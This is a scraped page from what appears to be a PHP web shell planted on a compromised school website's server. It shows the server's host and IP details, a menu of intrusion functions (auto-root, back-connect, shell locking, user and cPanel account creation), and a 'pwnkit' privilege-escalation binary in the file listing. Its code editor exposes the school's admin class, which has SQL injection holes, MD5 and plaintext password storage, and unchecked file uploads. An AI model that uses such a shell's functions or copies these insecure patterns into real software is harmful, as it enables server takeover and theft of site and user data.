Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.133.124.80
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
nbspublicschool /
public_html /
nbs_website /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
configure.php
246
B
-rw-r--r--
nbs_class.php
21.09
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : nbs_class.php
<?php class Admin_nbs{ var $hostName; var $dbName; var $userName; var $pwd; var $errorMsg; var $mysqli; const title= "Admin | Dashboard"; function initDb($host, $user, $pwd, $database) { $this->hostName= $host; $this->userName= $user; $this->pwd= $pwd; $this->dbName= $database; } function dbLogin() { $this->mysqli= mysqli_connect($this->hostName, $this->userName, $this->pwd, $this->dbName) or die("Error Database :".mysqli_error($this->mysqli)); } function login() { $user= $this->escapeStr($_POST['username']); $pwd= $this->escapeStr(md5($_POST['password'])); $sql= "SELECT `login_id` FROM `nbs_login` WHERE username= '$user' AND password= '$pwd'"; $rs= mysqli_query($this->mysqli,$sql); $row= mysqli_num_rows($rs); if($row==1){ $logid= mysqli_fetch_assoc($rs); $_SESSION['admin']= $logid['login_id']; $this->errorMsg=""; $path= "admin-dashboard.php"; $this->redirect($path); } else{ $this->getErrorMsg("Error: Invalid Login, Please try again..."); return false; } } function escapeStr($str) { return mysqli_real_escape_string($this->mysqli,trim($str)); } function getRecord($table,$col,$val){ $sql= "SELECT * FROM $table WHERE $col=$val"; $rs= mysqli_query($this->mysqli,$sql); $row= mysqli_fetch_assoc($rs); return $row; } function getErrorMsg($error) { $this->errorMsg= $error; } function redirect($url) { echo "<script>window.location.href='$url'</script>"; } function checkLogin($check) { if(isset($_SESSION[$check]) && !empty($_SESSION[$check])) { return TRUE; } else { return FALSE; } } function logout($str) { unset($_SESSION[$str]); session_destroy(); return true; } function getTable($table,$order){ $sql= "SELECT * FROM $table ORDER BY $order"; $rs= mysqli_query($this->mysqli,$sql); if(!empty($rs)){ $rows= array(); while($row= mysqli_fetch_assoc($rs)) { $rows[]= $row; } return $rows; } } function delete_multiple($col,$table,$page) { $muldel= $_POST['mul_del']; foreach($muldel as $del){ $sql= "DELETE FROM $table WHERE $col=$del"; $rs= mysqli_query($this->mysqli,$sql); } $this->errorMsg= ''; $path= $page."?msg=Record successfully deleted..."; $this->redirect($path); } public function randomString($length) { $str = ""; $characters = array_merge(range('A','Z'), range('a','z'), range('0','9')); $max = count($characters) - 1; for ($i = 0; $i < $length; $i++) { $rand = mt_rand(0, $max); $str .= $characters[$rand]; } return $str; } function generateRandomString($length) { $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } function chg_pwd() { $row= $this->getRecord('nbs_login','login_id',$_SESSION['admin']); if($row==true){ if(md5($_POST['current_pwd']) == $row['password']){ $hash_pass= $this->escapeStr(md5($_POST['new_pwd'])); $sql= "UPDATE `nbs_login` SET `password`= '$hash_pass' WHERE `login_id`= '".$_SESSION['admin']."'"; $rs= mysqli_query($this->mysqli,$sql); if($rs==TRUE){ $pass= $_POST['new_pwd']; $sql2="UPDATE `admin_pass` SET `password`= '$pass' WHERE `user_id`= '".$_SESSION['admin']."'"; $rs2= mysqli_query($this->mysqli,$sql2); $this->errorMsg= ''; $path= "changepass.php?msg=Password sucessfully changed..."; $this->redirect($path); } else{ $this->getErrorMsg(" Record not update..."); return false; } } else{ $this->getErrorMsg("Error: Current password not match, please try again..."); return false; } } else{ $this->getErrorMsg("Error: Record not update..."); return false; } } function db_insert($table, $inserts) { $values = array_map(function($a){return mysqli_real_escape_string($this->mysqli,trim($a));}, array_values($inserts)); $keys = array_keys($inserts); return 'INSERT INTO `'.$table.'` (`'.implode('`,`', $keys).'`) VALUES (\''.implode('\',\'', $values).'\')'; } function db_update($table,$update_data,$col,$value) { $update = array(); #array_walk($update_data,'array_clean'); foreach($update_data as $field=>$data) { $update[] = "`$field`= '$data'"; } return $query = "UPDATE `".$table."` SET ".implode(', ',$update)." WHERE `$col` =$value"; } function news() { $title= $this->escapeStr($_POST['news_title']); $date= $this->escapeStr($_POST['news_date']); $msg= $this->escapeStr($_POST['news_description']); $img= $_FILES['news_img']['name']; $loc= $_FILES['news_img']['tmp_name']; if(!empty($img)) { $image_a= explode('.',$img); $ext= end($image_a); $image= 'NEWS'.time().'.'.$ext; if(!empty($_POST['news_img'])){ if(is_file('_saving/news/'.$_POST['news_img'])){ unlink('_saving/news/'.$_POST['news_img']); } } move_uploaded_file($loc,'_saving/news/'.$image); } else{ $image= $_POST['news_img']; } if(!empty($_POST['news_id'])){ $id= $_POST['news_id']; $sql= "UPDATE `latest_news` SET `news_title`='$title', `news_date`='$date', `news_description`='$msg', `news_img`='$image' WHERE `news_id`=$id"; $path= "news.php?msg=News successfully updated..."; } else{ $sql= "INSERT INTO `latest_news` (`news_title`,`news_date`,`news_description`,`news_img`) VALUES ('$title','$date','$msg','$image')"; $path= "news.php?msg=News successfully saved..."; } $rs= mysqli_query($this->mysqli,$sql); if($rs== TRUE){ $this->errorMsg= ''; $this->redirect($path); } else{ $this->getErrorMsg("Error: Record is not inserted, Please try again..."); return false; } } function faculty() { $name= $this->escapeStr($_POST['name']); $designation= $this->escapeStr($_POST['designation']); $qualification= $this->escapeStr($_POST['qualification']); $specialization= $this->escapeStr($_POST['specialization']); $img= $_FILES['faculty_img']['name']; $loc= $_FILES['faculty_img']['tmp_name']; if(!empty($img)) { $image_a= explode('.',$img); $ext= end($image_a); $image= 'fac'.time().'.'.$ext; if(!empty($_POST['faculty_img'])){ if(is_file('_saving/faculty/'.$_POST['faculty_img'])){ unlink('_saving/faculty/'.$_POST['faculty_img']); } } move_uploaded_file($loc,'_saving/faculty/'.$image); } else{ $image= $_POST['faculty_img']; } if(!empty($_POST['faculty_id'])){ $id= $_POST['faculty_id']; $sql= "UPDATE `faculty` SET `name`='$name', `designation`='$designation', `qualification`='$qualification', `specialization`='$specialization', `faculty_img`='$image' WHERE `faculty_id`=$id"; $path= "faculty.php?msg=faculty successfully updated..."; } else{ $sql= "INSERT INTO `faculty` (`name`, `designation`, `qualification`, `specialization`, `faculty_img`) VALUES ('$name', '$designation', '$qualification', '$specialization', '$image')"; $path= "faculty.php?msg=faculty successfully saved..."; } $rs= mysqli_query($this->mysqli,$sql); if($rs== TRUE){ $this->errorMsg= ''; $this->redirect($path); } else{ $this->getErrorMsg("Error: Record is not inserted, Please try again..."); return false; } } function tc_entry() { $class= $this->escapeStr($_POST['class']); $name= $this->escapeStr($_POST['name']); $tc_srno= $this->escapeStr($_POST['tc_srno']); $img= $_FILES['tc_img']['name']; $loc= $_FILES['tc_img']['tmp_name']; if(!empty($img)) { $image_a= explode('.',$img); $ext= end($image_a); $image= 'tc'.time().'.'.$ext; if(!empty($_POST['tc_img'])){ if(is_file('_saving/tc/'.$_POST['tc_img'])){ unlink('_saving/tc/'.$_POST['tc_img']); } } move_uploaded_file($loc,'_saving/tc/'.$image); } else{ $image= $_POST['tc_img']; } if(!empty($_POST['tc_id'])){ $id= $_POST['tc_id']; $sql= "UPDATE `tc` SET `class`='$class',`name`='$name', `tc_srno`='$tc_srno',`tc_img`='$image' WHERE `tc_id`=$id"; $path= "tc.php?msg=TC successfully updated..."; } else{ $cer_sql="SELECT count(*) as count FROM tc WHERE class='$class' AND tc_srno='$tc_srno'"; $cer_que=mysqli_query($this->mysqli,$cer_sql); $count=mysqli_fetch_assoc($cer_que); if($count['count']>0){ $this->getErrorMsg("Error: TC already exist, Please Try Again..."); return false; } $sql= "INSERT INTO `tc` (`class`, `name`, `tc_srno`, `tc_img`) VALUES ('$class', '$name', '$tc_srno', '$image')"; $path= "tc.php?msg=TC successfully saved..."; } $rs= mysqli_query($this->mysqli,$sql); if($rs== TRUE){ $this->errorMsg= ''; $this->redirect($path); } else{ $this->getErrorMsg("Error: Record is not inserted, Please try again..."); return false; } } function homework_entry() { $class= $this->escapeStr($_POST['class']); $title= $this->escapeStr($_POST['title']); $description= $this->escapeStr($_POST['description']); $subject_tit_id= $this->escapeStr($_POST['subject_tit_id']); $file= $_FILES['hw_file']['name']; $loc= $_FILES['hw_file']['tmp_name']; if(!empty($file)) { $file_a= explode('.',$file); $ext= end($file_a); $doc= 'download'.time().'.'.$ext; if($ext == 'doc' || $ext == 'docx' || $ext == 'pdf'){ if(!empty($_POST['hw_file'])){ if(is_file('_saving/homework/'.$_POST['hw_file'])){ unlink('_saving/homework/'.$_POST['hw_file']); } } move_uploaded_file($loc,'_saving/homework/'.$doc); } else{ $this->errorMsg= 'Please Upload .pdf or .doc file only'; return false; } } else{ $doc= $_POST['hw_file']; } if(!empty($_POST['homework_id'])){ $id= $_POST['homework_id']; $sql= "UPDATE `homework` SET `class`='$class',`title`='$title',`hw_file`='$doc', `description`='$description',`subject_tit_id`='$subject_tit_id' WHERE `homework_id`=$id"; $path= "homework.php?msg=Homework successfully updated..."; } else{ $cer_sql="SELECT count(*) as count FROM homework WHERE class='$class' AND subject='$subject'"; $cer_que=mysqli_query($this->mysqli,$cer_sql); $count=mysqli_fetch_assoc($cer_que); if($count['count']>0){ $this->getErrorMsg("Error: Subject already exist, Please Try Again..."); return false; } $sql= "INSERT INTO `homework` (`class`, `title`, `hw_file`, `description`,`subject_tit_id`) VALUES ('$class', '$title', '$doc', '$description','$subject_tit_id')"; $path= "homework.php?msg=Homework successfully saved..."; } $rs= mysqli_query($this->mysqli,$sql); if($rs== TRUE){ $this->errorMsg= ''; $this->redirect($path); } else{ $this->getErrorMsg("Error: Record is not inserted, Please try again..."); return false; } } function enquiry(){ $name= $this->escapeStr($_POST['enquiry_name']); $email= $this->escapeStr($_POST['enquiry_email']); $mob= $this->escapeStr($_POST['enquiry_contact']); $message= $this->escapeStr($_POST['enquiry_message']); $nam= preg_match('/^([A-Za-z ]+)$/',$name); $mail= preg_match('/^\w+@[A-Za-z_]+?\.[A-Za-z]{2,3}$/',$email); $ph= preg_match('/^([0-9]{10})$/',$mob); if(strpos($message,'www') !==false || strpos($message,'http') !==false || strpos($message,'https') !==false) { $ms= 0; } else{ $ms= 1; } if(($nam ==0) || ($mail ==0) || ($ph ==0) || ($ms ==0)) { echo "<script>alert('Error: Invalid Input Fields, Please Try Again'); window.location.href='index.php'; </script>"; exit(); header("Location:index.php"); die(); } $sql= "INSERT INTO `enquiry` (`enquiry_name`, `enquiry_email`, `enquiry_contact`, `enquiry_message`, `enquiry_date`) VALUES ('$name', '$email', '$mob', '$message' ,NOW())"; $path= "index.php?msg=Record successfully saved..."; $rs= mysqli_query($this->mysqli,$sql); if($rs== TRUE){ echo "<script>alert('Thankyou! Your form is successfully submited'); window.location.href='index.php'; </script>"; exit(); header("Location:index.php"); die(); } else{ $this->getErrorMsg("Error: Record is not inserted, Please try again..."); return false; } } function subject_tit() { $title_name= $this->escapeStr($_POST['title_name']); if(!empty($_POST['subject_tit_id'])){ $id= $_POST['subject_tit_id']; $sql= "UPDATE `subject_tit` SET `title_name`='$title_name' WHERE `subject_tit_id`=$id"; $path= "subject_tit.php?msg=Title successfully updated..."; } else{ $sql= "INSERT INTO `subject_tit` (`title_name`) VALUES ('$title_name')"; $path= "subject_tit.php?msg=Title successfully saved..."; } $rs= mysqli_query($this->mysqli,$sql); if($rs== TRUE){ $this->errorMsg= ''; $this->redirect($path); } else{ $this->getErrorMsg("Error: Record is not inserted, Please try again..."); return false; } } function gallery() { /*print"<pre>"; print_r($_FILES); print_r($_POST); exit;*/ $photo= array(); $img= $_FILES['gal_image']['name'][0]; if(!empty($img)) { $count= count($_FILES['gal_image']['name']); for($i=0;$i<$count;$i++) { $img= $_FILES['gal_image']['name'][$i]; $loc= $_FILES['gal_image']['tmp_name'][$i]; $image_a= explode('.',$img); $ext= end($image_a); $image= 'Gallery'.$i.time().'.'.$ext; if(($ext == 'jpg' || $ext == 'jpeg' || $ext == 'png' || $ext == 'JPG' || $ext == 'JPEG' || $ext == 'PNG')){ if(!empty($_POST['gal_image'])){ if(is_file('_saving/gallery/'.$_POST['gal_image'])){ unlink('_saving/gallery/'.$_POST['gal_image']); } } move_uploaded_file($loc,'_saving/gallery/'.$image); $photo[]= $image; } else{ $this->errorMsg= 'Please Upload 391kb image only'; return false; } } } else{ $photo[]= $_POST['gal_image']; } if(!empty($_POST['gal_id'])) { if(empty($data['gal_image'])) { unset($data['gal_image']); } $data=array( 'gal_tittle' => $_POST['gal_tittle'], 'gal_image' => $photo[0], 'gal_date' => date('Y-m-d'), ); $gal_id= $_POST['gal_id']; $rs= mysqli_query($this->mysqli,$this->db_update('gallery',$data,'gal_id',$gal_id)); $path= 'gallery.php?msg=Record Successfully Updated.'; } else { $img_count= count($photo); if(!empty($img_count)) { for($j=0;$j < $img_count;$j++) { $data=array( 'gal_tittle' => $_POST['gal_tittle'], 'gal_image' => $photo[$j], 'gal_date' => date('Y-m-d'), ); $rs= mysqli_query($this->mysqli,$this->db_insert('gallery',$data)); } $path= 'gallery.php?msg=Record Successfully Inserted.'; } } if($rs== TRUE){ $this->errorMsg= ''; $this->redirect($path); } else{ $this->getErrorMsg("Error: Record Not Inserted Please try again..."); return false; } } function video() { $title= $this->escapeStr($_POST['title']); $video_link= $this->escapeStr($_POST['video_link']); $sub_date= date('Y-m-d'); if(!empty($_POST['video_id'])){ $id= $_POST['video_id']; $sql= "UPDATE `video` SET `title`='$title',`video_link`='$video_link', `sub_date`='$sub_date' WHERE `video_id`=$id"; $path= "video.php?msg=Record successfully updated..."; } else{ $sql= "INSERT INTO `video` (`title`,`video_link`,`sub_date`) VALUES ('$title','$video_link', '$sub_date')"; $path= "video.php?msg=Record successfully saved..."; } $rs= mysqli_query($this->mysqli,$sql); if($rs== TRUE){ $this->errorMsg= ''; $this->redirect($path); } else{ $this->getErrorMsg("Error: Database error..."); return false; } } function add_syllabus() { $class= $this->escapeStr($_POST['class']); $img= $_FILES['syllabus_upload']['name']; $loc= $_FILES['syllabus_upload']['tmp_name']; $size= $_FILES['syllabus_upload']['size']; if(!empty($img) && !empty($size)) { $image_a= explode('.',$img); $ext= end($image_a); $image= 'syllabus'.time().'.'.$ext; if(!empty($_POST['syllabus_upload'])){ if(is_file('_saving/syllabus/'.$_POST['syllabus_upload'])){ unlink('_saving/syllabus/'.$_POST['syllabus_upload']); } } move_uploaded_file($loc,'_saving/syllabus/'.$image); } elseif(!empty($img) && empty($size)){ $image= ''; } else{ $image= $_POST['syllabus_upload']; } if(!empty($_POST['syllabus_id'])){ $id= $_POST['syllabus_id']; $sql= "UPDATE `syllabus` SET `class`='$class',`syllabus_upload`='$image' WHERE `syllabus_id`=$id"; $path= "syllabus.php?msg=Syllabus successfully updated..."; } else{ $cer_sql="SELECT count(*) as count FROM syllabus WHERE class='$class'"; $cer_que=mysqli_query($this->mysqli,$cer_sql); $count=mysqli_fetch_assoc($cer_que); if($count['count']>0){ $this->getErrorMsg("Error: Syllabus already exist, Please Try Again..."); return false; } $sql= "INSERT INTO `syllabus` (`class`,`syllabus_upload`) VALUES ('$class','$image')"; $path= "syllabus.php?msg=Syllabus successfully saved..."; } $rs= mysqli_query($this->mysqli,$sql); if($rs== TRUE){ $this->errorMsg= ''; $this->redirect($path); } else{ $this->getErrorMsg("Error: Record is not inserted, Please try again..."); return false; } } function topper() { $name= $this->escapeStr($_POST['topper_name']); $class= $this->escapeStr($_POST['topper_class']); $percent= $this->escapeStr($_POST['topper_percent']); $sub_date= date('Y-m-d'); $img= $_FILES['topper_img']['name']; $loc= $_FILES['topper_img']['tmp_name']; if(!empty($img)) { $image_a= explode('.',$img); $ext= end($image_a); $image= 'top'.time().'.'.$ext; if(!empty($_POST['topper_img'])){ if(is_file('_saving/topper/'.$_POST['topper_img'])){ unlink('_saving/topper/'.$_POST['topper_img']); } } move_uploaded_file($loc,'_saving/topper/'.$image); } else{ $image= $_POST['topper_img']; } if(!empty($_POST['topper_id'])){ $id= $_POST['topper_id']; $sql= "UPDATE `topper` SET `topper_name`='$name', `topper_class`='$class', `topper_percent`='$percent', `topper_img`='$image', `sub_date`='$sub_date' WHERE `topper_id`=$id"; $path= "topper.php?msg=Record successfully updated..."; } else{ $sql= "INSERT INTO `topper` (`topper_name`, `topper_class`, `topper_percent`, `topper_img`, `sub_date`) VALUES ('$name', '$class', '$percent', '$image','$sub_date')"; $path= "topper.php?msg=Record successfully saved..."; } $rs= mysqli_query($this->mysqli,$sql); if($rs== TRUE){ $this->errorMsg= ''; $this->redirect($path); } else{ $this->getErrorMsg("Error: Record is not inserted, Please try again..."); return false; } } function add_disclosure() { $title= $this->escapeStr($_POST['title']); $remark= $this->escapeStr($_POST['remark']); $img= $_FILES['upload_file']['name']; $loc= $_FILES['upload_file']['tmp_name']; $size= $_FILES['upload_file']['size']; if(!empty($img) && !empty($size)) { $image_a= explode('.',$img); $ext= end($image_a); $image= 'disc'.time().'.'.$ext; if(!empty($_POST['upload_file'])){ if(is_file('_saving/disclosure/'.$_POST['upload_file'])){ unlink('_saving/disclosure/'.$_POST['upload_file']); } } move_uploaded_file($loc,'_saving/disclosure/'.$image); } elseif(!empty($img) && empty($size)){ $image= ''; } else{ $image= $_POST['upload_file']; } if(!empty($_POST['disc_id'])){ $id= $_POST['disc_id']; $sql= "UPDATE `disclosure` SET `title`='$title',`upload_file`='$image',`remark`='$remark' WHERE `disc_id`=$id"; $path= "disclosure.php?msg=Record successfully updated..."; } else{ $sql= "INSERT INTO `disclosure` (`title`,`upload_file`,`remark`) VALUES ('$title','$image','$remark')"; $path= "disclosure.php?msg=Record successfully saved..."; } $rs= mysqli_query($this->mysqli,$sql); if($rs== TRUE){ $this->errorMsg= ''; $this->redirect($path); } else{ $this->getErrorMsg("Error: Record is not inserted, Please try again..."); return false; } } } ?>
Close